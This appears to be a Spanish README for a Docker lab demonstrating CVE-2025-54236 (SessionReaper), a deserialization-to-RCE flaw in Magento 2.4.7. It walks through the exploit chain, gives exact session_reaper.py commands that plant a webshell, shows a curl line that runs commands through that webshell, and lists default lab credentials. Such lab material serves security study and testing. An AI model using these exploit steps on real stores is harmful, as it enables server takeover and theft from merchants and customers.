
Entorno Docker para demostración práctica de la CVE-2025-54236 (SessionReaper): PHP Object Deserialization que conduce a RCE en Magento Open Source 2.4.7
Entorno Docker para demostración práctica de la CVE-2025-54236 (SessionReaper): Deserialización de Objetos PHP que lleva a RCE en Magento Open Source 2.4.7.
Uso exclusivo en entorno controlado. No ejecutar contra sistemas sin autorización explícita.
CVE-2025-54236 afecta a Magento Open Source y Adobe Commerce hasta la versión 2.4.7. El método ServiceInputProcessor::getConstructorData() acepta parámetros anidados vía JSON que permiten sobrescribir session.save_path - la carpeta donde PHP almacena los archivos de sesión.
Cadena de explotación:
Guzzle/FW1 vía phpggc) se envía vía /customer/address_file/upload, que lo guarda en pub/media/customer_address/s/e/sess_<id>.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} como parámetro de constructor.session_start() con el PHPSESSID fabricado, deserializa la gadget chain y escribe un webshell en pub/errors/.Prerrequisito: sesiones PHP configuradas como file-based (no Redis/Memcached).
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerable)
│ ├── Dockerfile # PHP 8.2-FPM con extensiones Magento
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Configuraciones del entorno
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Sesiones file-based, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Instalación completa desde cero
│ └── 02-demo-setup.sh # Prepara producto, payload e imprime instrucciones
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # PoC principal (autor: alexb616)
└── payloads/
├── shell.php # Webshell con comillas simples (evita escape JSON)
└── sess_payload.bin # Gadget chain serializada (generada por el script)
docker compose)ambionics/phpggc disponiblesession_reaper.py busca el binario en: PATH del sistema, ~/phpggc/phpggc, /opt/phpggc/phpggc y, como fallback, trae la imagen Docker ambionics/phpggc automáticamenterequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 para Elasticsearch)cd lab-magento
# 1. Instalar Magento 2.4.7 desde cero (~25 minutos)
bash scripts/install.sh
El install.sh hace:
composer install --no-devsetup:install con sesiones file-baseddefault (no developer - evita que warnings PHP 8.2 se conviertan en excepciones)setup:static-content:deploywww-data en todas las etapasDespués de la instalación, desde el directorio raíz (/magento/):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
Verificar RCE:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Salida esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Método alternativo (vector address, con producto real):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| Servicio | URL / Host | Credencial |
|---|---|---|
| Tienda Magento | http://localhost:8080/ | - |
| Admin Magento | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
La URI del admin se genera aleatoriamente en la instalación. Para encontrarla:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Sesiones creadas por el exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Archivo de sesión malicioso en media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Logs en tiempo real
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Eliminar webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Detener contenedores
docker compose -f lab-magento/docker-compose.yml down
# Destruir todo (contenedores + volúmenes)
docker compose -f lab-magento/docker-compose.yml down -v
¿Por qué comillas simples en el webshell?
phpggc Guzzle/FW1 serializa el payload como JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. El contenido de PHP se codifica en JSON, entonces " se convierte en \". Usar $_GET["cmd"] resultaría en $_GET[\"cmd\"] - error de parse en PHP. La solución es escribir el webshell con comillas simples: $_GET['cmd'].
¿Por qué modo default y no developer?
Magento en modo developer convierte todos los warnings de PHP en excepciones. PHP 8.2 emite Warning: Trying to access array offset on null en lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, lo que se convierte en una excepción 500 en el admin. En modo default el warning se ignora.
¿Por qué los archivos quedan en s/e/?
Magento organiza las cargas de direcciones en pub/media/customer_address/{1er char}/{2do char}/filename. Para archivos sess_*, el primer carácter es s y el segundo es e, resultando siempre en pub/media/customer_address/s/e/.